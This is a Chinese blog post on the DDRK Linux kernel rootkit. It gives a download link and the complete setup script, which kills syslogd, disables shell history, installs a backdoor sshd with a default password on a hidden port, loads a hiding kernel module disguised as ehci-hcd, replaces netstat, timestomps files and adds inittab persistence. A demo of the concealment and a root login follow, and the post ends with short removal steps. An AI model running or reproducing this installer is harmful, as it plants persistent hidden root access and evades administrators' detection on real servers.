linux：rootkit-ddrk攻击获得root权限以及清除
2017-11-20 本文已影响22人
随风化作雨
DDRK是一个Linux结合shv和adore-ng优点，内核级别的rootkit。
DDRK中包含的文件：
netstat #替换系统中的netstat，从ssh配置文件中读取端口并隐藏
rk.ko #内核模块，实现文件和进程的隐藏功能
setup #rootkit安装文件
tty #ava工具
bin.tgz
---ttymon
---sshd.tgz
---.sh
---shdcf2 #sshd配置文件
---shhk
---shhk.pub
---shrs
---sshd #sshd主程序
DDRK下载地址：http://pan.baidu.com/s/1qWkchlU
因此只要把这些文件上传到服务器上并成功运行，就可以获得该服务器的root权限。为所欲为，无所不能。
setup内容如下：
#!/bin/bash
##########define variables##########
DEFPASS=123456 //默认密码
DEFPORT=43958 //默认端口
BASEDIR=`pwd`
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
##########check is root##########
if [ "$(whoami)" != "root" ]; then
echo "BECOME ROOT AND TRY AGAIN"
echo ""
exit
fi
##########extract all tar##########
tar zxf bin.tgz
cd bin
tar zxf sshd.tgz
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz
cd $BASEDIR
##########kill syslogd##########
killall -9 syslogd >/dev/null 2>&1
sleep 2
##########remove sh.conf##########
if [ -f /etc/sh.conf ]; then
rm -rf /etc/sh.conf //经过md5sum加密过的密码文件
fi
##########initialize sshd configuration##########
if test -n "$1" ; then
echo "Using Password : $1"
cd $BASEDIR/bin
echo -n $1|md5sum > /etc/sh.conf
else
echo "No Password Specified, using default - $DEFPASS"
echo -n $DEFPASS|md5sum > /etc/sh.conf
fi
touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
if test -n "$2" ; then
echo "Using ssh-port : $2"
echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
echo "No ssh-port Specified, using default - $DEFPORT"
echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi
###########creating dirs##########
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
if [ -d /lib/libsh.so ]; then
rm -rf /lib/libsh.so
fi
if [ -d /usr/lib/libsh ]; then
rm -rf /usr/lib/libsh/*
fi
mkdir $SSHDIR
touch -acmr /bin/ls $SSHDIR
mkdir $HOMEDIR
touch -acmr /bin/ls $HOMEDIR
cd $BASEDIR/bin
mv .sh/* $SSHDIR/
mv .sh/.bashrc $HOMEDIR
if [ -f /sbin/ttyload ]; then
chattr -AacdisSu /sbin/ttyload
rm -rf /sbin/ttyload
fi
if [ -f /usr/sbin/ttyload ]; then
rm -rf /usr/sbin/ttyload
fi
if [ -f /sbin/ttymon ]; then
rm -rf /sbin/ttymon
fi
mv $SSHDIR/sshd /sbin/ttyload
chmod a+xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
kill -9 `pidof ttyload` >/dev/null 2>&1
mv $BASEDIR/bin/ttymon /sbin/ttymon
chmod a+xr /sbin/ttymon
touch -acmr /bin/ls /sbin/ttymon
kill -9 `pidof ttymon` >/dev/null 2>&1
cp /bin/bash $SSHDIR
#########modify inittab##########
cp /etc/inittab /etc/.inittab
sed -e s@^1:2345@0:2345:once:/usr/sbin/ttyload &@ /etc/inittab > /etc/.inittab
touch -acmr /etc/inittab /etc/.inittab
mv -f /etc/.inittab /etc/inittab
echo "/sbin/ttyload -q > /dev/null 2>&1" > /usr/sbin/ttyload
echo "/sbin/ttymon > /dev/null 2>&1" >> /usr/sbin/ttyload
echo "${HOMEDIR}/tty i `pidof ttyload` > /dev/null 2>&1" >> /usr/sbin/ttyload
echo "${HOMEDIR}/tty i `pidof ttymon` > /dev/null 2>&1" >> /usr/sbin/ttyload
touch -acmr /bin/ls /usr/sbin/ttyload
chmod 755 /usr/sbin/ttyload
/usr/sbin/ttyload > /dev/null 2>&1
touch -amcr /bin/ls /etc/inittab
##########make sure inittab has modified##########
if [ ! "`grep ttyload /etc/inittab`" ]; then
echo "# WARNING - SSHD WONT BE RELOADED UPON RESTART "
echo "# inittab shuffling probly fucked-up ! "
fi
##########load rk.ko##########
cd $BASEDIR
modprobe -r ehci-hcd
mv -f rk.ko /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.ko
modprobe ehci-hcd
mv tty $HOMEDIR
##########replace netstat##########
touch -acmr /bin/netstat netstat
mv -f netstat /bin/netstat
##########hide all files and process##########
$HOMEDIR/tty h /etc/sh.conf > /dev/null 2>&1
$HOMEDIR/tty h /lib/libsh.so > /dev/null 2>&1
$HOMEDIR/tty h /usr/lib/libsh > /dev/null 2>&1
$HOMEDIR/tty h /sbin/ttyload > /dev/null 2>&1
$HOMEDIR/tty h /usr/sbin/ttyload > /dev/null 2>&1
$HOMEDIR/tty h /sbin/ttymon > /dev/null 2>&1
$HOMEDIR/tty i `pidof ttyload` > /dev/null 2>&1
$HOMEDIR/tty i `pidof ttymon` > /dev/null 2>&1
##########load rk.ko on boot##########
cat > /etc/sysconfig/modules/ehci.modules << EOF
#!/bin/sh
#install usb modules support
modprobe -r ehci-hcd
modprobe ehci-hcd
EOF
touch -amcr /bin/ls /etc/sysconfig/modules/ehci.modules
chmod 755 /etc/sysconfig/modules/ehci.modules
$HOMEDIR/tty h /etc/sysconfig/modules/ehci.modules > /dev/null 2>&1
##########check iptables setting##########
if [ -f /sbin/iptables ]; then
echo "`/sbin/iptables -L INPUT | head -5`"
else
echo ""
echo "# lucky for u no iptables found"
fi
##########start syslogd##########
/sbin/syslogd -m 0
<span style="font-family: 宋体; text-indent: 2em; background-color: rgb(255, 255, 255);"> </span>
# ./setup 123 3333 //设置密码为123，端口号为3333
Using Password : 123
Using ssh-port : 3333
Chain INPUT (policy ACCEPT)
target prot opt source destination
隐藏效果查看：
查看进程
# ps -ef | egrep -i "ttyload|ttymon"
root 24761 17990 0 13:29 pts/2 00:00:00 egrep -i ttyload|ttymon
查看端口
# netstat -ntplu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:2208 0.0.0.0:* LISTEN 2117/hpiod
- tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 2267/mysqld
tcp 0 0 0.0.0.0:43958 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 2134/cupsd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2295/sendmail: acce
tcp 0 0 127.0.0.1:2207 0.0.0.0:* LISTEN 2122/python
udp 0 0 0.0.0.0:32768 0.0.0.0:* 2417/avahi-daemon:
udp 0 0 0.0.0.0:68 0.0.0.0:* 19752/dhclient
udp 0 0 0.0.0.0:5353 0.0.0.0:* 2417/avahi-daemon:
udp 0 0 0.0.0.0:631 0.0.0.0:* 2134/cupsd
查看加载模块
# lsmod | grep -i ehci-hcd
查看rootkit相关文件
# ls -dl /lib/libsh.so /usr/lib/libsh /etc/sh.conf /sbin/ttyload /sbin/ttymon /bin/ttymon /usr/sbin/ttyload
ls: /bin/ttymon: No such file or directory
-rw-r--r-- 1 2618748389 4063569279 36 Nov 28 2006 /etc/sh.conf
drwxr-xr-x 2 2618748389 4063569279 4096 May 11 13:28 /lib/libsh.so
-rwxr-xr-x 1 2618748389 4063569279 212747 Nov 28 2006 /sbin/ttyload
-rwxrwxr-x 1 2618748389 4063569279 93476 Nov 28 2006 /sbin/ttymon
drwxr-xr-x 2 2618748389 4063569279 4096 May 11 13:28 /usr/lib/libsh
-rwxr-xr-x 1 2618748389 4063569279 171 Nov 28 2006 /usr/sbin/ttyload
查看/etc/inittab文件
# Run gettys in standard runlevels
0:2345:once:/usr/sbin/ttyload
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
验证：
已攻破并成功执行的主机IP为：192.168.27.129
从另一台登录192.168.27.129，密码为123，端口号为3333
[root@localhost ~]# ssh 192.168.27.129 -p 3333
[root@192.168.27.129s](mailto:root@192.168.27.129s) password:
Last login: Thu Nov 11 11:20:59 2010 from 192.168.27.1
[sh] w.e.l.c.o.m.e
[sh] To The DoDos Rootkit
[root@DoDo:/root]#
[root@DoDo:/root]# env
TERM=xterm
SHELL=/bin/bash
SSH_CLIENT=192.168.27.130 38824 3333
SSH_TTY=/dev/pts/3
USER=root
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:
mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.
csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:
*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp
=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
MAIL=/var/spool/mail/root
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:/usr/local/sbin:/usr/lib/libs:.
PWD=/root
MACHINE=DoDo
PS1=[33[0;36m][$ID@[33[1;37m]$MACHINE[33[0m][33[0;36m]:${PWD}]#[33[0m]
SHLVL=1
HOME=/usr/lib/libsh
ID=root
LOGNAME=root
_=/bin/env
至此，就可以完全控制192.168.27.129了。
到192.168.27.129上查看登录用户：
# w
13:40:55 up 3:40, 0 users, load average: 1.23, 0.93, 0.77
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
只有本地用户。
清除方法：
# cd /usr/lib/libsh
# modprobe -r ehci-hcd
# ./tty u /etc/sysconfig/modules/ehci.modules
Checking for adore 0.12 or higher ...
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
# rm -rf /etc/sysconfig/modules/ehci.modules
# rm -rf /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.ko
# ./tty u /etc/sh.conf
Checking for adore 0.12 or higher ...
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
# ./tty u /lib/libsh.so
Checking for adore 0.12 or higher ...
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
# ./tty u /sbin/ttyload
Checking for adore 0.12 or higher ...
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
# ./tty u /usr/sbin/ttyload
Checking for adore 0.12 or higher ...
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
# ./tty u /sbin/ttymon
Checking for adore 0.12 or higher ...
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
# rm -rf /etc/sh.conf /lib/libsh.so /usr/lib/libsh /sbin/ttyload /usr/sbin/ttyload /sbin/ttymon
# rm –rf /bin/netstat
# vim /etc/inittab 去掉0:2345:once:/usr/sbin/ttyload
其实，还应该检查系统漏洞在何处，以绝后患。
